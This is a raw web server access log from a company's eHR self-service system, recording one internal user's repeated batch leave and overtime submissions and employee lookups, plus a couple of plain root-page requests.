"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:15:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.38 - - [29/Nov/2025:13:15:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7659875727359083 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:15:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7659875727359083 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:15:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7659875727359083 HTTP/1.1" 200 252136 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7659875727359083" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:15:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7659875727359083 HTTP/1.1" 200 252136 100.64.0.1 - - [29/Nov/2025:13:15:59 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [29/Nov/2025:13:15:59 +0800] "GET / HTTP/1.1" 200 439 192.168.12.38 - - [29/Nov/2025:13:16:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4205 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:16:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4205 192.168.12.38 - - [29/Nov/2025:13:16:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:16:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:16:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:16:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:16:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37465861452712024 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:16:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37465861452712024 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:16:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37465861452712024 HTTP/1.1" 200 606941 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37465861452712024" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:16:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37465861452712024 HTTP/1.1" 200 606941 192.168.12.38 - - [29/Nov/2025:13:17:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37465861452712024 HTTP/1.1" 200 57512 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37465861452712024" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:17:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37465861452712024 HTTP/1.1" 200 57512 192.168.12.38 - - [29/Nov/2025:13:17:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:17:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.12.38 - - [29/Nov/2025:13:17:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:17:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:17:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:17:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:17:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2113203143913982 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:17:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2113203143913982 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:17:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2113203143913982 HTTP/1.1" 200 57512 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2113203143913982" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:17:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2113203143913982 HTTP/1.1" 200 57512 192.168.12.38 - - [29/Nov/2025:13:17:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:17:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.12.38 - - [29/Nov/2025:13:18:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:18:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:18:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:18:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:18:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3099765906089921 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:18:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3099765906089921 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:18:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3099765906089921 HTTP/1.1" 200 57512 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3099765906089921" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:18:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3099765906089921 HTTP/1.1" 200 57512 192.168.12.38 - - [29/Nov/2025:13:18:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:18:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.12.38 - - [29/Nov/2025:13:18:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:18:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:18:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:18:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:18:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8803895926368608 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:18:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8803895926368608 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:19:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8803895926368608 HTTP/1.1" 200 252136 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8803895926368608" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:19:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8803895926368608 HTTP/1.1" 200 252136 192.168.12.38 - - [29/Nov/2025:13:19:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4073 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:19:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4073 192.168.12.38 - - [29/Nov/2025:13:19:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:19:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:19:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:19:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:19:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5832891445403343 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:19:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5832891445403343 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:19:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5832891445403343 HTTP/1.1" 200 252136 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5832891445403343" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:19:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5832891445403343 HTTP/1.1" 200 252136 100.64.0.1 - - [29/Nov/2025:13:20:08 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24" 100.64.0.1 - - [29/Nov/2025:13:20:08 +0800] "GET / HTTP/1.1" 200 439 192.168.12.38 - - [29/Nov/2025:13:20:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5997 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:20:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5997 192.168.12.38 - - [29/Nov/2025:13:20:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 49547 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:20:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 49547 192.168.12.38 - - [29/Nov/2025:13:20:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:20:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:20:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:20:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:21:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07377329574712965 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:21:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07377329574712965 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:21:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07377329574712965 HTTP/1.1" 200 252136 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07377329574712965" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:21:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07377329574712965 HTTP/1.1" 200 252136 192.168.12.38 - - [29/Nov/2025:13:21:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4287 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:21:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4287 192.168.12.38 - - [29/Nov/2025:13:21:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:21:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:21:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:21:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:22:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9842299764796124 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:22:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9842299764796124 HTTP/1.1" 200 55332 192.168.12.38 - - 